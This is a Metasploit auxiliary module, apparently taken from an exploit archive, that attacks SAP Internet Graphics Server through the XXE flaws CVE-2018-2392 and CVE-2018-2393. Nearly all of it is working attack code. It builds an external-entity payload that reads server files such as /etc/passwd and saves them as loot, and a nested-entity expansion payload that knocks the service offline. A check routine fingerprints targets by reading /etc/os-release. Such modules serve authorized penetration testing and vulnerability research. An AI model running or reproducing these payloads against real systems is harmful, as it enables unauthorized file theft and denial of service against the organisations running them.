## https://sploitus.com/exploit?id=PACKETSTORM:180812
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',
'Description' => %q{
This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page
of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These
vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when
submitting a POST request to the XMLCHART page to generate a new chart.
Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user
from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers
can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable
SAP IGS server.
},
'Author' => [
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-2392' ],
[ 'CVE', '2018-2393' ],
[ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]
],
'Actions' => [
[ 'READ', { 'Description' => 'Remote file read' } ],
[ 'DOS', { 'Description' => 'Denial Of Service' } ]
],
'DefaultAction' => 'READ',
'DefaultOptions' => {
'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)
},
'DisclosureDate' => '2018-03-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(40080),
OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),
OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),
]
)
end
def setup_xml_and_variables
@host = datastore['RHOSTS']
@port = datastore['RPORT']
@path = datastore['URIPATH']
@file = datastore['FILE']
if datastore['SSL']
@schema = 'https://'
else
@schema = 'http://'
end
@data_xml = {
name: Rex::Text.rand_text_alphanumeric(12),
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
data: nil
}
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
<ChartData>
<Categories>
<Category>ALttP</Category>
</Categories>
<Series label="#{Rex::Text.rand_text_alphanumeric(6)}">
<Point>
<Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>
</Point>
</Series>
</ChartData>)
@xxe_xml = {
name: Rex::Text.rand_text_alphanumeric(12),
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
data: nil
}
end
def make_xxe_xml(file_name)
entity = Rex::Text.rand_text_alpha(5)
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>
<SAPChartCustomizing version="1.1">
<Elements>
<ChartElements>
<Title>
<Extension>&#{entity};</Extension>
</Title>
</ChartElements>
</Elements>
</SAPChartCustomizing>)
end
def make_post_data(file_name, dos: false)
if !dos
make_xxe_xml(file_name)
else
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Extension [
<!ENTITY dos 'dos'>
<!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>
<!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>
<!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>
<!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>
<!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>
<!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>
<!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>
<!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>
]>
<SAPChartCustomizing version="1.1">
<Elements>
<ChartElements>
<Title>
<Extension>&dos8;</Extension>
</Title>
</ChartElements>
</Elements>
</SAPChartCustomizing>)
end
@post_data = Rex::MIME::Message.new
@post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")
@post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")
end
def get_download_link(html_response)
if html_response['ImageMap']
if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))
@download_link = download_link_regex[:link]
else
@download_link = nil
end
else
@download_link = nil
end
end
def get_file_content(html_response)
if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))
@file_content = file_content_regex[:file_content]
else
@file_content = nil
end
end
def send_first_request
# Send first HTTP request
begin
first_response = nil
first_response = send_request_cgi(
{
'uri' => normalize_uri(@path),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
'data' => @post_data.to_s
}
)
rescue StandardError => e
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
vprint_error("Error #{e.class}: #{e}")
return -1
end
# Check first HTTP response
if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)
return -2
end
if first_response.body.include?('Errors')
return -3
end
first_response
end
def analyze_first_response(html_response)
get_download_link(html_response)
if !@download_link.to_s.empty?
# Send second HTTP request
begin
second_response = nil
second_response = send_request_cgi(
{
'uri' => normalize_uri(@download_link),
'method' => 'GET'
}
)
rescue StandardError => e
print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")
vprint_error("Error #{e.class}: #{e}")
return -1 # Some exception was thrown whilst making the second HTTP request!
end
# Check second HTTP response
if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')
return -2 # Response from second HTTP request was not what was expected!
end
get_file_content(second_response.body)
return 0
else
return -3 # Download link could not be found!
end
end
def check
# Set up variables
os_release = ''
os_release_file = '/etc/os-release'
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
# so that the module can check if the target is vulnerable or not.
# Get OS release information
check_response = send_first_request
if check_response == -1
Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
elsif check_response == -2
Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')
else
if check_response == -3
vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")
else
result = analyze_first_response(check_response.body)
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
if result == -1 || result == -3
Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')
elsif result == -2
Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')
end
if !@file_content.to_s.empty?
if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))
os_release = "OS: #{os_regex[:os]}"
end
else
return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")
end
end
# Make ident
if os_release != ''
ident = "SAP Internet Graphics Server (IGS); #{os_release}"
else
ident = 'SAP Internet Graphics Server (IGS)'
end
# Report Service and Vulnerability
report_service(
host: @host,
port: @port,
name: 'http',
proto: 'tcp',
info: ident
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references,
info: os_release
)
# Print Vulnerability
if os_release == ''
Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
else
Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
end
end
end
def run
case action.name
when 'READ'
action_file_read
when 'DOS'
action_dos
else
print_error("The action #{action.name} is not a supported action.")
end
end
def action_file_read
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(@file, dos: false)
# Download remote file
first_response = send_first_request
if first_response == -1
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
elsif first_response == -2
fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')
else
# Report Service and Vulnerability
report_service(
host: @host,
port: @port,
name: 'http',
proto: 'tcp',
info: 'SAP Internet Graphics Server (IGS)'
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references
)
# Get remote file content
if first_response == -3
print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")
else
result = analyze_first_response(first_response.body)
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
if result == -1
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')
elsif result == -2
print_error('The server responded successfully but the response indicated the server is not vulnerable!')
return
elsif result == -3
print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')
return
end
if !@file_content.to_s.empty?
vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")
loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')
print_good("File: #{@file} saved in: #{loot}")
else
print_error("Failed to get #{@file} content!")
end
end
end
end
def action_dos
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(@file, dos: true)
# Send HTTP request
begin
dos_response = nil
dos_response = send_request_cgi(
{
'uri' => normalize_uri(@path),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
'data' => @post_data.to_s
}, 10
)
rescue Timeout::Error
print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")
# Report Service and Vulnerability
report_service(
host: @host,
port: @port,
name: 'http',
proto: 'tcp',
info: 'SAP Internet Graphics Server (IGS)'
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references
)
rescue StandardError => e
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
vprint_error("Error #{e.class}: #{e}")
end
# Check HTTP response
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
end
end